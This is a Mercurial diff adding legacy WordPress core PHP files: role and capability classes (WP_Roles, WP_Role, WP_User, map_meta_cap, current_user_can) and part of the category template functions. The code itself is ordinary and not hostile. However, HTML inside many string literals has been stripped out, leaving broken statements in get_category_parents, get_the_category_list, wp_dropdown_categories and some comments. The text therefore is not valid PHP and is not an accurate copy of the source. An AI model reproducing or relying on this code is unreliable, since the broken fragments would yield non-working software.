$this->roles ) ) + return; + + $this->role_objects = array(); + $this->role_names = array(); + foreach ( (array) $this->roles as $role => $data ) { + $this->role_objects[$role] = new WP_Role( $role, $this->roles[$role]['capabilities'] ); + $this->role_names[$role] = $this->roles[$role]['name']; + } + } + + /** + * Add role name with capabilities to list. + * + * Updates the list of roles, if the role doesn't already exist. + * + * The capabilities are defined in the following format `array( 'read' => true );` + * To explicitly deny a role a capability you set the value for that capability to false. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + * @param string $display_name Role display name. + * @param array $capabilities List of role capabilities in the above format. + * @return null|WP_Role WP_Role object if role is added, null if already exists. + */ + function add_role( $role, $display_name, $capabilities = array() ) { + if ( isset( $this->roles[$role] ) ) + return; + + $this->roles[$role] = array( + 'name' => $display_name, + 'capabilities' => $capabilities + ); + if ( $this->use_db ) + update_option( $this->role_key, $this->roles ); + $this->role_objects[$role] = new WP_Role( $role, $capabilities ); + $this->role_names[$role] = $display_name; + return $this->role_objects[$role]; + } + + /** + * Remove role by name. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + */ + function remove_role( $role ) { + if ( ! isset( $this->role_objects[$role] ) ) + return; + + unset( $this->role_objects[$role] ); + unset( $this->role_names[$role] ); + unset( $this->roles[$role] ); + + if ( $this->use_db ) + update_option( $this->role_key, $this->roles ); + } + + /** + * Add capability to role. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + * @param string $cap Capability name. + * @param bool $grant Optional, default is true. Whether role is capable of performing capability. + */ + function add_cap( $role, $cap, $grant = true ) { + $this->roles[$role]['capabilities'][$cap] = $grant; + if ( $this->use_db ) + update_option( $this->role_key, $this->roles ); + } + + /** + * Remove capability from role. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + * @param string $cap Capability name. + */ + function remove_cap( $role, $cap ) { + unset( $this->roles[$role]['capabilities'][$cap] ); + if ( $this->use_db ) + update_option( $this->role_key, $this->roles ); + } + + /** + * Retrieve role object by name. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + * @return object|null Null, if role does not exist. WP_Role object, if found. + */ + function &get_role( $role ) { + if ( isset( $this->role_objects[$role] ) ) + return $this->role_objects[$role]; + else + return null; + } + + /** + * Retrieve list of role names. + * + * @since 2.0.0 + * @access public + * + * @return array List of role names. + */ + function get_names() { + return $this->role_names; + } + + /** + * Whether role name is currently in the list of available roles. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name to look up. + * @return bool + */ + function is_role( $role ) + { + return isset( $this->role_names[$role] ); + } +} + +/** + * WordPress Role class. + * + * @since 2.0.0 + * @package WordPress + * @subpackage User + */ +class WP_Role { + /** + * Role name. + * + * @since 2.0.0 + * @access public + * @var string + */ + var $name; + + /** + * List of capabilities the role contains. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $capabilities; + + /** + * PHP4 Constructor - Setup object properties. + * + * The list of capabilities, must have the key as the name of the capability + * and the value a boolean of whether it is granted to the role or not. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + * @param array $capabilities List of capabilities. + * @return WP_Role + */ + function WP_Role( $role, $capabilities ) { + $this->name = $role; + $this->capabilities = $capabilities; + } + + /** + * Assign role a capability. + * + * @see WP_Roles::add_cap() Method uses implementation for role. + * @since 2.0.0 + * @access public + * + * @param string $cap Capability name. + * @param bool $grant Whether role has capability privilege. + */ + function add_cap( $cap, $grant = true ) { + global $wp_roles; + + if ( ! isset( $wp_roles ) ) + $wp_roles = new WP_Roles(); + + $this->capabilities[$cap] = $grant; + $wp_roles->add_cap( $this->name, $cap, $grant ); + } + + /** + * Remove capability from role. + * + * This is a container for {@link WP_Roles::remove_cap()} to remove the + * capability from the role. That is to say, that {@link + * WP_Roles::remove_cap()} implements the functionality, but it also makes + * sense to use this class, because you don't need to enter the role name. + * + * @since 2.0.0 + * @access public + * + * @param string $cap Capability name. + */ + function remove_cap( $cap ) { + global $wp_roles; + + if ( ! isset( $wp_roles ) ) + $wp_roles = new WP_Roles(); + + unset( $this->capabilities[$cap] ); + $wp_roles->remove_cap( $this->name, $cap ); + } + + /** + * Whether role has capability. + * + * The capabilities is passed through the 'role_has_cap' filter. The first + * parameter for the hook is the list of capabilities the class has + * assigned. The second parameter is the capability name to look for. The + * third and final parameter for the hook is the role name. + * + * @since 2.0.0 + * @access public + * + * @param string $cap Capability name. + * @return bool True, if user has capability. False, if doesn't have capability. + */ + function has_cap( $cap ) { + $capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name ); + if ( !empty( $capabilities[$cap] ) ) + return $capabilities[$cap]; + else + return false; + } + +} + +/** + * WordPress User class. + * + * @since 2.0.0 + * @package WordPress + * @subpackage User + */ +class WP_User { + /** + * User data container. + * + * This will be set as properties of the object. + * + * @since 2.0.0 + * @access private + * @var array + */ + var $data; + + /** + * The user's ID. + * + * @since 2.1.0 + * @access public + * @var int + */ + var $ID = 0; + + /** + * The deprecated user's ID. + * + * @since 2.0.0 + * @access public + * @deprecated Use WP_User::$ID + * @see WP_User::$ID + * @var int + */ + var $id = 0; + + /** + * The individual capabilities the user has been given. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $caps = array(); + + /** + * User metadata option name. + * + * @since 2.0.0 + * @access public + * @var string + */ + var $cap_key; + + /** + * The roles the user is part of. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $roles = array(); + + /** + * All capabilities the user has, including individual and role based. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $allcaps = array(); + + /** + * First name of the user. + * + * Created to prevent notices. + * + * @since 2.7.0 + * @access public + * @var string + */ + var $first_name = ''; + + /** + * Last name of the user. + * + * Created to prevent notices. + * + * @since 2.7.0 + * @access public + * @var string + */ + var $last_name = ''; + + /** + * The filter context applied to user data fields. + * + * @since 2.9.0 + * @access private + * @var string + */ + var $filter = null; + + /** + * PHP4 Constructor - Sets up the object properties. + * + * Retrieves the userdata and then assigns all of the data keys to direct + * properties of the object. Calls {@link WP_User::_init_caps()} after + * setting up the object's user data properties. + * + * @since 2.0.0 + * @access public + * + * @param int|string $id User's ID or username + * @param int $name Optional. User's username + * @return WP_User + */ + function WP_User( $id, $name = '' ) { + + if ( empty( $id ) && empty( $name ) ) + return; + + if ( ! is_numeric( $id ) ) { + $name = $id; + $id = 0; + } + + if ( ! empty( $id ) ) + $this->data = get_userdata( $id ); + else + $this->data = get_userdatabylogin( $name ); + + if ( empty( $this->data->ID ) ) + return; + + foreach ( get_object_vars( $this->data ) as $key => $value ) { + $this->{$key} = $value; + } + + $this->id = $this->ID; + $this->_init_caps(); + } + + /** + * Setup capability object properties. + * + * Will set the value for the 'cap_key' property to current database table + * prefix, followed by 'capabilities'. Will then check to see if the + * property matching the 'cap_key' exists and is an array. If so, it will be + * used. + * + * @since 2.1.0 + * @access protected + */ + function _init_caps() { + global $wpdb; + $this->cap_key = $wpdb->prefix . 'capabilities'; + $this->caps = &$this->{$this->cap_key}; + if ( ! is_array( $this->caps ) ) + $this->caps = array(); + $this->get_role_caps(); + } + + /** + * Retrieve all of the role capabilities and merge with individual capabilities. + * + * All of the capabilities of the roles the user belongs to are merged with + * the users individual roles. This also means that the user can be denied + * specific roles that their role might have, but the specific user isn't + * granted permission to. + * + * @since 2.0.0 + * @uses $wp_roles + * @access public + */ + function get_role_caps() { + global $wp_roles; + + if ( ! isset( $wp_roles ) ) + $wp_roles = new WP_Roles(); + + //Filter out caps that are not role names and assign to $this->roles + if ( is_array( $this->caps ) ) + $this->roles = array_filter( array_keys( $this->caps ), array( &$wp_roles, 'is_role' ) ); + + //Build $allcaps from role caps, overlay user's $caps + $this->allcaps = array(); + foreach ( (array) $this->roles as $role ) { + $role =& $wp_roles->get_role( $role ); + $this->allcaps = array_merge( (array) $this->allcaps, (array) $role->capabilities ); + } + $this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps ); + } + + /** + * Add role to user. + * + * Updates the user's meta data option with capabilities and roles. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + */ + function add_role( $role ) { + $this->caps[$role] = true; + update_usermeta( $this->ID, $this->cap_key, $this->caps ); + $this->get_role_caps(); + $this->update_user_level_from_caps(); + } + + /** + * Remove role from user. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + */ + function remove_role( $role ) { + if ( empty( $this->roles[$role] ) || ( count( $this->roles ) <= 1 ) ) + return; + unset( $this->caps[$role] ); + update_usermeta( $this->ID, $this->cap_key, $this->caps ); + $this->get_role_caps(); + } + + /** + * Set the role of the user. + * + * This will remove the previous roles of the user and assign the user the + * new one. You can set the role to an empty string and it will remove all + * of the roles from the user. + * + * @since 2.0.0 + * @access public + * + * @param string $role Role name. + */ + function set_role( $role ) { + foreach ( (array) $this->roles as $oldrole ) + unset( $this->caps[$oldrole] ); + if ( !empty( $role ) ) { + $this->caps[$role] = true; + $this->roles = array( $role => true ); + } else { + $this->roles = false; + } + update_usermeta( $this->ID, $this->cap_key, $this->caps ); + $this->get_role_caps(); + $this->update_user_level_from_caps(); + do_action( 'set_user_role', $this->ID, $role ); + } + + /** + * Choose the maximum level the user has. + * + * Will compare the level from the $item parameter against the $max + * parameter. If the item is incorrect, then just the $max parameter value + * will be returned. + * + * Used to get the max level based on the capabilities the user has. This + * is also based on roles, so if the user is assigned the Administrator role + * then the capability 'level_10' will exist and the user will get that + * value. + * + * @since 2.0.0 + * @access public + * + * @param int $max Max level of user. + * @param string $item Level capability name. + * @return int Max Level. + */ + function level_reduction( $max, $item ) { + if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) { + $level = intval( $matches[1] ); + return max( $max, $level ); + } else { + return $max; + } + } + + /** + * Update the maximum user level for the user. + * + * Updates the 'user_level' user metadata (includes prefix that is the + * database table prefix) with the maximum user level. Gets the value from + * the all of the capabilities that the user has. + * + * @since 2.0.0 + * @access public + */ + function update_user_level_from_caps() { + global $wpdb; + $this->user_level = array_reduce( array_keys( $this->allcaps ), array( &$this, 'level_reduction' ), 0 ); + update_usermeta( $this->ID, $wpdb->prefix.'user_level', $this->user_level ); + } + + /** + * Add capability and grant or deny access to capability. + * + * @since 2.0.0 + * @access public + * + * @param string $cap Capability name. + * @param bool $grant Whether to grant capability to user. + */ + function add_cap( $cap, $grant = true ) { + $this->caps[$cap] = $grant; + update_usermeta( $this->ID, $this->cap_key, $this->caps ); + } + + /** + * Remove capability from user. + * + * @since 2.0.0 + * @access public + * + * @param string $cap Capability name. + */ + function remove_cap( $cap ) { + if ( empty( $this->caps[$cap] ) ) return; + unset( $this->caps[$cap] ); + update_usermeta( $this->ID, $this->cap_key, $this->caps ); + } + + /** + * Remove all of the capabilities of the user. + * + * @since 2.1.0 + * @access public + */ + function remove_all_caps() { + global $wpdb; + $this->caps = array(); + update_usermeta( $this->ID, $this->cap_key, '' ); + update_usermeta( $this->ID, $wpdb->prefix.'user_level', '' ); + $this->get_role_caps(); + } + + /** + * Whether user has capability or role name. + * + * This is useful for looking up whether the user has a specific role + * assigned to the user. The second optional parameter can also be used to + * check for capabilities against a specfic post. + * + * @since 2.0.0 + * @access public + * + * @param string|int $cap Capability or role name to search. + * @param int $post_id Optional. Post ID to check capability against specific post. + * @return bool True, if user has capability; false, if user does not have capability. + */ + function has_cap( $cap ) { + if ( is_numeric( $cap ) ) + $cap = $this->translate_level_to_cap( $cap ); + + $args = array_slice( func_get_args(), 1 ); + $args = array_merge( array( $cap, $this->ID ), $args ); + $caps = call_user_func_array( 'map_meta_cap', $args ); + // Must have ALL requested caps + $capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args ); + foreach ( (array) $caps as $cap ) { + //echo "Checking cap $cap
    "; + if ( empty( $capabilities[$cap] ) || !$capabilities[$cap] ) + return false; + } + + return true; + } + + /** + * Convert numeric level to level capability name. + * + * Prepends 'level_' to level number. + * + * @since 2.0.0 + * @access public + * + * @param int $level Level number, 1 to 10. + * @return string + */ + function translate_level_to_cap( $level ) { + return 'level_' . $level; + } + +} + +/** + * Map meta capabilities to primitive capabilities. + * + * This does not actually compare whether the user ID has the actual capability, + * just what the capability or capabilities are. Meta capability list value can + * be 'delete_user', 'edit_user', 'delete_post', 'delete_page', 'edit_post', + * 'edit_page', 'read_post', or 'read_page'. + * + * @since 2.0.0 + * + * @param string $cap Capability name. + * @param int $user_id User ID. + * @return array Actual capabilities for meta capability. + */ +function map_meta_cap( $cap, $user_id ) { + $args = array_slice( func_get_args(), 2 ); + $caps = array(); + + switch ( $cap ) { + case 'delete_user': + $caps[] = 'delete_users'; + break; + case 'edit_user': + if ( !isset( $args[0] ) || $user_id != $args[0] ) { + $caps[] = 'edit_users'; + } + break; + case 'delete_post': + $author_data = get_userdata( $user_id ); + //echo "post ID: {$args[0]}
    "; + $post = get_post( $args[0] ); + if ( 'page' == $post->post_type ) { + $args = array_merge( array( 'delete_page', $user_id ), $args ); + return call_user_func_array( 'map_meta_cap', $args ); + } + + if ('' != $post->post_author) { + $post_author_data = get_userdata( $post->post_author ); + } else { + //No author set yet so default to current user for cap checks + $post_author_data = $author_data; + } + + // If the user is the author... + if ( $user_id == $post_author_data->ID ) { + // If the post is published... + if ( 'publish' == $post->post_status ) { + $caps[] = 'delete_published_posts'; + } elseif ( 'trash' == $post->post_status ) { + if ('publish' == get_post_meta($post->ID, '_wp_trash_meta_status', true) ) + $caps[] = 'delete_published_posts'; + } else { + // If the post is draft... + $caps[] = 'delete_posts'; + } + } else { + // The user is trying to edit someone else's post. + $caps[] = 'delete_others_posts'; + // The post is published, extra cap required. + if ( 'publish' == $post->post_status ) + $caps[] = 'delete_published_posts'; + elseif ( 'private' == $post->post_status ) + $caps[] = 'delete_private_posts'; + } + break; + case 'delete_page': + $author_data = get_userdata( $user_id ); + //echo "post ID: {$args[0]}
    "; + $page = get_page( $args[0] ); + $page_author_data = get_userdata( $page->post_author ); + //echo "current user id : $user_id, page author id: " . $page_author_data->ID . "
    "; + // If the user is the author... + + if ('' != $page->post_author) { + $page_author_data = get_userdata( $page->post_author ); + } else { + //No author set yet so default to current user for cap checks + $page_author_data = $author_data; + } + + if ( $user_id == $page_author_data->ID ) { + // If the page is published... + if ( $page->post_status == 'publish' ) { + $caps[] = 'delete_published_pages'; + } elseif ( 'trash' == $page->post_status ) { + if ('publish' == get_post_meta($page->ID, '_wp_trash_meta_status', true) ) + $caps[] = 'delete_published_pages'; + } else { + // If the page is draft... + $caps[] = 'delete_pages'; + } + } else { + // The user is trying to edit someone else's page. + $caps[] = 'delete_others_pages'; + // The page is published, extra cap required. + if ( $page->post_status == 'publish' ) + $caps[] = 'delete_published_pages'; + elseif ( $page->post_status == 'private' ) + $caps[] = 'delete_private_pages'; + } + break; + // edit_post breaks down to edit_posts, edit_published_posts, or + // edit_others_posts + case 'edit_post': + $author_data = get_userdata( $user_id ); + //echo "post ID: {$args[0]}
    "; + $post = get_post( $args[0] ); + if ( 'page' == $post->post_type ) { + $args = array_merge( array( 'edit_page', $user_id ), $args ); + return call_user_func_array( 'map_meta_cap', $args ); + } + $post_author_data = get_userdata( $post->post_author ); + //echo "current user id : $user_id, post author id: " . $post_author_data->ID . "
    "; + // If the user is the author... + if ( $user_id == $post_author_data->ID ) { + // If the post is published... + if ( 'publish' == $post->post_status ) { + $caps[] = 'edit_published_posts'; + } elseif ( 'trash' == $post->post_status ) { + if ('publish' == get_post_meta($post->ID, '_wp_trash_meta_status', true) ) + $caps[] = 'edit_published_posts'; + } else { + // If the post is draft... + $caps[] = 'edit_posts'; + } + } else { + // The user is trying to edit someone else's post. + $caps[] = 'edit_others_posts'; + // The post is published, extra cap required. + if ( 'publish' == $post->post_status ) + $caps[] = 'edit_published_posts'; + elseif ( 'private' == $post->post_status ) + $caps[] = 'edit_private_posts'; + } + break; + case 'edit_page': + $author_data = get_userdata( $user_id ); + //echo "post ID: {$args[0]}
    "; + $page = get_page( $args[0] ); + $page_author_data = get_userdata( $page->post_author ); + //echo "current user id : $user_id, page author id: " . $page_author_data->ID . "
    "; + // If the user is the author... + if ( $user_id == $page_author_data->ID ) { + // If the page is published... + if ( 'publish' == $page->post_status ) { + $caps[] = 'edit_published_pages'; + } elseif ( 'trash' == $page->post_status ) { + if ('publish' == get_post_meta($page->ID, '_wp_trash_meta_status', true) ) + $caps[] = 'edit_published_pages'; + } else { + // If the page is draft... + $caps[] = 'edit_pages'; + } + } else { + // The user is trying to edit someone else's page. + $caps[] = 'edit_others_pages'; + // The page is published, extra cap required. + if ( 'publish' == $page->post_status ) + $caps[] = 'edit_published_pages'; + elseif ( 'private' == $page->post_status ) + $caps[] = 'edit_private_pages'; + } + break; + case 'read_post': + $post = get_post( $args[0] ); + if ( 'page' == $post->post_type ) { + $args = array_merge( array( 'read_page', $user_id ), $args ); + return call_user_func_array( 'map_meta_cap', $args ); + } + + if ( 'private' != $post->post_status ) { + $caps[] = 'read'; + break; + } + + $author_data = get_userdata( $user_id ); + $post_author_data = get_userdata( $post->post_author ); + if ( $user_id == $post_author_data->ID ) + $caps[] = 'read'; + else + $caps[] = 'read_private_posts'; + break; + case 'read_page': + $page = get_page( $args[0] ); + + if ( 'private' != $page->post_status ) { + $caps[] = 'read'; + break; + } + + $author_data = get_userdata( $user_id ); + $page_author_data = get_userdata( $page->post_author ); + if ( $user_id == $page_author_data->ID ) + $caps[] = 'read'; + else + $caps[] = 'read_private_pages'; + break; + case 'unfiltered_upload': + if ( defined('ALLOW_UNFILTERED_UPLOADS') && ALLOW_UNFILTERED_UPLOADS == true ) + $caps[] = $cap; + else + $caps[] = 'do_not_allow'; + break; + default: + // If no meta caps match, return the original cap. + $caps[] = $cap; + } + + return apply_filters('map_meta_cap', $caps, $cap, $user_id, $args); +} + +/** + * Whether current user has capability or role. + * + * @since 2.0.0 + * + * @param string $capability Capability or role name. + * @return bool + */ +function current_user_can( $capability ) { + $current_user = wp_get_current_user(); + + if ( empty( $current_user ) ) + return false; + + $args = array_slice( func_get_args(), 1 ); + $args = array_merge( array( $capability ), $args ); + + return call_user_func_array( array( &$current_user, 'has_cap' ), $args ); +} + +/** + * Whether author of supplied post has capability or role. + * + * @since 2.9.0 + * + * @param int|object $post Post ID or post object. + * @param string $capability Capability or role name. + * @return bool + */ +function author_can( $post, $capability ) { + if ( !$post = get_post($post) ) + return false; + + $author = new WP_User( $post->post_author ); + + if ( empty( $author ) ) + return false; + + $args = array_slice( func_get_args(), 2 ); + $args = array_merge( array( $capability ), $args ); + + return call_user_func_array( array( &$author, 'has_cap' ), $args ); +} + +/** + * Retrieve role object. + * + * @see WP_Roles::get_role() Uses method to retrieve role object. + * @since 2.0.0 + * + * @param string $role Role name. + * @return object + */ +function get_role( $role ) { + global $wp_roles; + + if ( ! isset( $wp_roles ) ) + $wp_roles = new WP_Roles(); + + return $wp_roles->get_role( $role ); +} + +/** + * Add role, if it does not exist. + * + * @see WP_Roles::add_role() Uses method to add role. + * @since 2.0.0 + * + * @param string $role Role name. + * @param string $display_name Display name for role. + * @param array $capabilities List of capabilities. + * @return null|WP_Role WP_Role object if role is added, null if already exists. + */ +function add_role( $role, $display_name, $capabilities = array() ) { + global $wp_roles; + + if ( ! isset( $wp_roles ) ) + $wp_roles = new WP_Roles(); + + return $wp_roles->add_role( $role, $display_name, $capabilities ); +} + +/** + * Remove role, if it exists. + * + * @see WP_Roles::remove_role() Uses method to remove role. + * @since 2.0.0 + * + * @param string $role Role name. + * @return null + */ +function remove_role( $role ) { + global $wp_roles; + + if ( ! isset( $wp_roles ) ) + $wp_roles = new WP_Roles(); + + return $wp_roles->remove_role( $role ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/category-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/category-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,976 @@ +get_category_permastruct(); + + if ( empty( $catlink ) ) { + $file = get_option( 'home' ) . '/'; + $catlink = $file . '?cat=' . $category_id; + } else { + $category = &get_category( $category_id ); + if ( is_wp_error( $category ) ) + return $category; + $category_nicename = $category->slug; + + if ( $category->parent == $category_id ) // recursive recursion + $category->parent = 0; + elseif ($category->parent != 0 ) + $category_nicename = get_category_parents( $category->parent, false, '/', true ) . $category_nicename; + + $catlink = str_replace( '%category%', $category_nicename, $catlink ); + $catlink = get_option( 'home' ) . user_trailingslashit( $catlink, 'category' ); + } + return apply_filters( 'category_link', $catlink, $category_id ); +} + +/** + * Retrieve category parents with separator. + * + * @since 1.2.0 + * + * @param int $id Category ID. + * @param bool $link Optional, default is false. Whether to format with link. + * @param string $separator Optional, default is '/'. How to separate categories. + * @param bool $nicename Optional, default is false. Whether to use nice name for display. + * @param array $visited Optional. Already linked to categories to prevent duplicates. + * @return string + */ +function get_category_parents( $id, $link = false, $separator = '/', $nicename = false, $visited = array() ) { + $chain = ''; + $parent = &get_category( $id ); + if ( is_wp_error( $parent ) ) + return $parent; + + if ( $nicename ) + $name = $parent->slug; + else + $name = $parent->cat_name; + + if ( $parent->parent && ( $parent->parent != $parent->term_id ) && !in_array( $parent->parent, $visited ) ) { + $visited[] = $parent->parent; + $chain .= get_category_parents( $parent->parent, $link, $separator, $nicename, $visited ); + } + + if ( $link ) + $chain .= 'cat_name ) ) . '">'.$name.'' . $separator; + else + $chain .= $name.$separator; + return $chain; +} + +/** + * Retrieve post categories. + * + * @since 0.71 + * @uses $post + * + * @param int $id Optional, default to current post ID. The post ID. + * @return array + */ +function get_the_category( $id = false ) { + global $post; + + $id = (int) $id; + if ( !$id ) + $id = (int) $post->ID; + + $categories = get_object_term_cache( $id, 'category' ); + if ( false === $categories ) { + $categories = wp_get_object_terms( $id, 'category' ); + wp_cache_add($id, $categories, 'category_relationships'); + } + + if ( !empty( $categories ) ) + usort( $categories, '_usort_terms_by_name' ); + else + $categories = array(); + + foreach ( (array) array_keys( $categories ) as $key ) { + _make_cat_compat( $categories[$key] ); + } + + return $categories; +} + +/** + * Sort categories by name. + * + * Used by usort() as a callback, should not be used directly. Can actually be + * used to sort any term object. + * + * @since 2.3.0 + * @access private + * + * @param object $a + * @param object $b + * @return int + */ +function _usort_terms_by_name( $a, $b ) { + return strcmp( $a->name, $b->name ); +} + +/** + * Sort categories by ID. + * + * Used by usort() as a callback, should not be used directly. Can actually be + * used to sort any term object. + * + * @since 2.3.0 + * @access private + * + * @param object $a + * @param object $b + * @return int + */ +function _usort_terms_by_ID( $a, $b ) { + if ( $a->term_id > $b->term_id ) + return 1; + elseif ( $a->term_id < $b->term_id ) + return -1; + else + return 0; +} + +/** + * Retrieve category name based on category ID. + * + * @since 0.71 + * + * @param int $cat_ID Category ID. + * @return string Category name. + */ +function get_the_category_by_ID( $cat_ID ) { + $cat_ID = (int) $cat_ID; + $category = &get_category( $cat_ID ); + if ( is_wp_error( $category ) ) + return $category; + return $category->name; +} + +/** + * Retrieve category list in either HTML list or custom format. + * + * @since 1.5.1 + * + * @param string $separator Optional, default is empty string. Separator for between the categories. + * @param string $parents Optional. How to display the parents. + * @param int $post_id Optional. Post ID to retrieve categories. + * @return string + */ +function get_the_category_list( $separator = '', $parents='', $post_id = false ) { + global $wp_rewrite; + $categories = get_the_category( $post_id ); + if ( empty( $categories ) ) + return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents ); + + $rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"'; + + $thelist = ''; + if ( '' == $separator ) { + $thelist .= ''; + } else { + $i = 0; + foreach ( $categories as $category ) { + if ( 0 < $i ) + $thelist .= $separator . ' '; + switch ( strtolower( $parents ) ) { + case 'multiple': + if ( $category->parent ) + $thelist .= get_category_parents( $category->parent, true, $separator ); + $thelist .= 'name ) ) . '" ' . $rel . '>' . $category->cat_name.''; + break; + case 'single': + $thelist .= 'name ) ) . '" ' . $rel . '>'; + if ( $category->parent ) + $thelist .= get_category_parents( $category->parent, false, $separator ); + $thelist .= "$category->cat_name"; + break; + case '': + default: + $thelist .= 'name ) ) . '" ' . $rel . '>' . $category->name.''; + } + ++$i; + } + } + return apply_filters( 'the_category', $thelist, $separator, $parents ); +} + + +/** + * Check if the current post in within any of the given categories. + * + * The given categories are checked against the post's categories' term_ids, names and slugs. + * Categories given as integers will only be checked against the post's categories' term_ids. + * + * Prior to v2.5 of WordPress, category names were not supported. + * Prior to v2.7, category slugs were not supported. + * Prior to v2.7, only one category could be compared: in_category( $single_category ). + * Prior to v2.7, this function could only be used in the WordPress Loop. + * As of 2.7, the function can be used anywhere if it is provided a post ID or post object. + * + * @since 1.2.0 + * + * @uses is_object_in_term() + * + * @param int|string|array $category. Category ID, name or slug, or array of said. + * @param int|post object Optional. Post to check instead of the current post. @since 2.7.0 + * @return bool True if the current post is in any of the given categories. + */ +function in_category( $category, $_post = null ) { + if ( empty( $category ) ) + return false; + + if ( $_post ) { + $_post = get_post( $_post ); + } else { + $_post =& $GLOBALS['post']; + } + + if ( !$_post ) + return false; + + $r = is_object_in_term( $_post->ID, 'category', $category ); + if ( is_wp_error( $r ) ) + return false; + return $r; +} + +/** + * Display the category list for the post. + * + * @since 0.71 + * + * @param string $separator Optional, default is empty string. Separator for between the categories. + * @param string $parents Optional. How to display the parents. + * @param int $post_id Optional. Post ID to retrieve categories. + */ +function the_category( $separator = '', $parents='', $post_id = false ) { + echo get_the_category_list( $separator, $parents, $post_id ); +} + +/** + * Retrieve category description. + * + * @since 1.0.0 + * + * @param int $category Optional. Category ID. Will use global category ID by default. + * @return string Category description, available. + */ +function category_description( $category = 0 ) { + return term_description( $category, 'category' ); +} + +/** + * Display or retrieve the HTML dropdown list of categories. + * + * The list of arguments is below: + * 'show_option_all' (string) - Text to display for showing all categories. + * 'show_option_none' (string) - Text to display for showing no categories. + * 'orderby' (string) default is 'ID' - What column to use for ordering the + * categories. + * 'order' (string) default is 'ASC' - What direction to order categories. + * 'show_last_update' (bool|int) default is 0 - See {@link get_categories()} + * 'show_count' (bool|int) default is 0 - Whether to show how many posts are + * in the category. + * 'hide_empty' (bool|int) default is 1 - Whether to hide categories that + * don't have any posts attached to them. + * 'child_of' (int) default is 0 - See {@link get_categories()}. + * 'exclude' (string) - See {@link get_categories()}. + * 'echo' (bool|int) default is 1 - Whether to display or retrieve content. + * 'depth' (int) - The max depth. + * 'tab_index' (int) - Tab index for select element. + * 'name' (string) - The name attribute value for selected element. + * 'class' (string) - The class attribute value for selected element. + * 'selected' (int) - Which category ID is selected. + * + * The 'hierarchical' argument, which is disabled by default, will override the + * depth argument, unless it is true. When the argument is false, it will + * display all of the categories. When it is enabled it will use the value in + * the 'depth' argument. + * + * @since 2.1.0 + * + * @param string|array $args Optional. Override default arguments. + * @return string HTML content only if 'echo' argument is 0. + */ +function wp_dropdown_categories( $args = '' ) { + $defaults = array( + 'show_option_all' => '', 'show_option_none' => '', + 'orderby' => 'id', 'order' => 'ASC', + 'show_last_update' => 0, 'show_count' => 0, + 'hide_empty' => 1, 'child_of' => 0, + 'exclude' => '', 'echo' => 1, + 'selected' => 0, 'hierarchical' => 0, + 'name' => 'cat', 'class' => 'postform', + 'depth' => 0, 'tab_index' => 0 + ); + + $defaults['selected'] = ( is_category() ) ? get_query_var( 'cat' ) : 0; + + $r = wp_parse_args( $args, $defaults ); + + if ( !isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] ) { + $r['pad_counts'] = true; + } + + $r['include_last_update_time'] = $r['show_last_update']; + extract( $r ); + + $tab_index_attribute = ''; + if ( (int) $tab_index > 0 ) + $tab_index_attribute = " tabindex=\"$tab_index\""; + + $categories = get_categories( $r ); + $name = esc_attr($name); + $class = esc_attr($class); + + $output = ''; + if ( ! empty( $categories ) ) { + $output = "\n"; + } + + $output = apply_filters( 'wp_dropdown_cats', $output ); + + if ( $echo ) + echo $output; + + return $output; +} + +/** + * Display or retrieve the HTML list of categories. + * + * The list of arguments is below: + * 'show_option_all' (string) - Text to display for showing all categories. + * 'orderby' (string) default is 'ID' - What column to use for ordering the + * categories. + * 'order' (string) default is 'ASC' - What direction to order categories. + * 'show_last_update' (bool|int) default is 0 - See {@link + * walk_category_dropdown_tree()} + * 'show_count' (bool|int) default is 0 - Whether to show how many posts are + * in the category. + * 'hide_empty' (bool|int) default is 1 - Whether to hide categories that + * don't have any posts attached to them. + * 'use_desc_for_title' (bool|int) default is 1 - Whether to use the + * description instead of the category title. + * 'feed' - See {@link get_categories()}. + * 'feed_type' - See {@link get_categories()}. + * 'feed_image' - See {@link get_categories()}. + * 'child_of' (int) default is 0 - See {@link get_categories()}. + * 'exclude' (string) - See {@link get_categories()}. + * 'exclude_tree' (string) - See {@link get_categories()}. + * 'echo' (bool|int) default is 1 - Whether to display or retrieve content. + * 'current_category' (int) - See {@link get_categories()}. + * 'hierarchical' (bool) - See {@link get_categories()}. + * 'title_li' (string) - See {@link get_categories()}. + * 'depth' (int) - The max depth. + * + * @since 2.1.0 + * + * @param string|array $args Optional. Override default arguments. + * @return string HTML content only if 'echo' argument is 0. + */ +function wp_list_categories( $args = '' ) { + $defaults = array( + 'show_option_all' => '', 'orderby' => 'name', + 'order' => 'ASC', 'show_last_update' => 0, + 'style' => 'list', 'show_count' => 0, + 'hide_empty' => 1, 'use_desc_for_title' => 1, + 'child_of' => 0, 'feed' => '', 'feed_type' => '', + 'feed_image' => '', 'exclude' => '', 'exclude_tree' => '', 'current_category' => 0, + 'hierarchical' => true, 'title_li' => __( 'Categories' ), + 'echo' => 1, 'depth' => 0 + ); + + $r = wp_parse_args( $args, $defaults ); + + if ( !isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] ) { + $r['pad_counts'] = true; + } + + if ( isset( $r['show_date'] ) ) { + $r['include_last_update_time'] = $r['show_date']; + } + + if ( true == 